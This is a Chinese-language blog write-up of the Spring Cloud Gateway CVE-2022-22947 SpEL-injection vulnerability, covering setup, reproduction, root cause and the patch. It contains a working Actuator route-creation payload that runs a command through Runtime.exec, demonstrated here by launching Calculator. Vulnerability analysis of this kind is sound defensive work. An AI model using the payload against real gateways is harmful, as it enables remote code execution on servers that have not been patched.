SpringCloud Gateway CVE-2022-22947漏洞如何进行深入分析？

本文共计1801个文字，预计阅读时间需要8分钟。

Spring Cloud Gateway 简要使用及 CVE-2022-22947 漏洞分析

背景：Spring Cloud 是 Spring 提供的微服务实现框架，其中包括网关、配置中心和注册中心等组件。Spring Cloud Gateway 是其提供的第二代网关实现，基于 Spring WebFlux 构建。

内容概要：- Spring Cloud Gateway 是 Spring Cloud 微服务框架的一部分，提供网关、配置中心和注册中心等功能。- 网关的第一代实现是 zuul，第二代则是 Gateway。- Gateway 的使用方法简要介绍。

CVE-2022-22947 漏洞分析：- 该漏洞存在于 Spring Cloud Gateway 中，是一个远程代码执行漏洞。- 漏洞原因分析及修复措施。

SpringCloud Gateway 简单使用及CVE-2022-22947漏洞分析 背景

SpringCloud 是Spring提供的微服务实现框架，其中包含网关、配置中心和注册中心等内容，网关的第一代实现为zuul，第二代实现为Gateway，提供了更好的性能和特性。

网关可以提供统一的流量控制和访问控制等功能，一般放在客户端请求的入口或作为nginx的直接上游如下图。

Gateway 使用

Gateway配置可以使用两种方式：

1. yml或者properties 固定配置
2. 通过actuator插件动态添加

作为一个网关最主要的功能就是路由功能，而路由的规则由Route、Predicate、Filter 三部分组成。

• Spring Cloud Gateway < 3.1.1
• Spring Cloud Gateway < 3.0.7

实操 yml固定配置方式

1. 首先在idea中新建spring项目，pom中引入spring-cloud-starter-gateway依赖(一般使用引入starter即可，这里单独指定含漏洞的自动配置底层包)

<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> </dependency> <!-- 有漏洞底层包版本--> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-gateway-server</artifactId> <version>3.1.0</version> </dependency>

2. 在application.yml或者application.properties中新建以下配置：

spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,1

配置含义： 新建了一个id为router1 的路由，规则为当请求的路径为/时，将请求转发给127.0.0.1:9223 （predicates）并给响应增加一个头Result值为1（filter）。

本地起一个9223服务，观察能否转发。启动项目，转发成功。这就是一个网关基本的功能。

动态配置

除了通过配置文件写死的方式，Gateway也支持通过Actuator（spring 监控组件）动态配置路由。

1. pom中新引入spring-boot-starter-actuator

<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency>

2. 配置文件（ Spring Boot 2.x 后为了安全起见默认只开放/actuator/health和/actuator/info端点），开启gateway监控

management: endpoint: gateway: enabled: true endpoints: web: exposure: include: gateway

3. 重启应用，访问localhost:8080/actuator/gateway/routes,出现下面页面则表示配置成功。

4. 使用actuator动态创建路由，使用post请求发送以下内容到127.0.0.1:8080/actuator/gateway/routes/router2：

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

含义和第一种类似，不过转发路径变成了9224.

5. 请求127.0.0.1:8080/actuator/gateway/refresh 应用配置
6. 请求页面,页面404，这事因为9224的后端服务没有/9224这个端点所以是404，但有请求记录，证明转发成功。

7. 为了使请求正常，所以配置新增一项重写path

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "2" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

8. 重新访问，页面正常

漏洞复现

其实这个漏洞本身是一个SpEL注入，我们尝试在之前的yml配置文件中使用SpEL表达式，我们将filter中的AddResponseHeader 值改为#{1+1}

spring: application: name: GatewatDemo cloud: gateway: routes: - id: "router1" uri: "127.0.0.1:9223/" predicates: - Path=/ filters: - AddResponseHeader=Result,#{1+1}

查看返回头，表达式被成功执行：

将表达式替换成恶意的SpEL表达式即可触发RCE，#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}。

虽然这个地方确实存在SpEL注入，但却很难利用，因为攻击者很难控制目标机器的配置文件，所以利用条件就变成了有没有开启Actuator，且Actuator开启了gateway功能没有配置spring security。

使用动态创建的方法试试。

使用以下payload请求创建路由：

{ "id": "router2", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}" } },{ "name":"RewritePath", "args":{ "_genkey_0":"/9224", "_genkey_1":"/" } }], "uri": "127.0.0.1:9224", "predicate": "/9224" }

刷新路由,发现代码成功执行。

原理分析

我们打开spring-cloud-gateway的官网，发现SpEL原本是官方提供的一个引用bean的功能。

我们对exec执行下个断点，观察程序的调用栈。

前面一堆是Reactor的逻辑，因为是异步非阻塞的方式，所以阅读起来有一定门槛。

简单来说，就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法，然后请求org.springframework.cloud.gateway.actuate 包中的refresh()方法

后续会将application的上下文传入gateway的逻辑，在处理Filter的逻辑中会对属性字段进行normalizeProperties 操作：

具体逻辑会放入normalize中进行处理，其中第一个参数即为我们自己配置的filter处理逻辑

第三个参数为SpEL的parse。

随后进入ShorcutType中的normalize进行处理，解析key、value进入并将value传入getValue（）：

在getValue中对字符串进行trim操作，同时判断字符串以#{开始并以}结束：

如果满足条件则进入SpEL进行解析，可以看到这里导致能够RCE的原因，使用了StandardEvaluationContext 作为context, 随后对配置文件的value进行标准SpEL解析。

到这里就基本理解了漏洞触发的原因

补丁分析

在2月17号，开发者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定义Context方式替换原来的StanderdContext

自定义的Context增加了Spring的BeanFactory类，从而能实现对Spinrg IOC容器 bean的引用。

修复后新版本运行会报错：

总结

漏洞影响版本：

• Spring Cloud Gateway < 3.1.1
• Spring Cloud Gateway < 3.0.7

基本上和SpringCloud Functions 一样是个SpEL注入的漏洞，只不过在网关的场景出现，需要应用暴露actuator，有一定前置条件。

引用

cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947

docs.spring.io/spring-cloud-gateway/docs/current/reference/html/

github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator

公众号

欢迎大家关注我的公众号，这里有干货满满的硬核安全知识，和我一起学起来吧！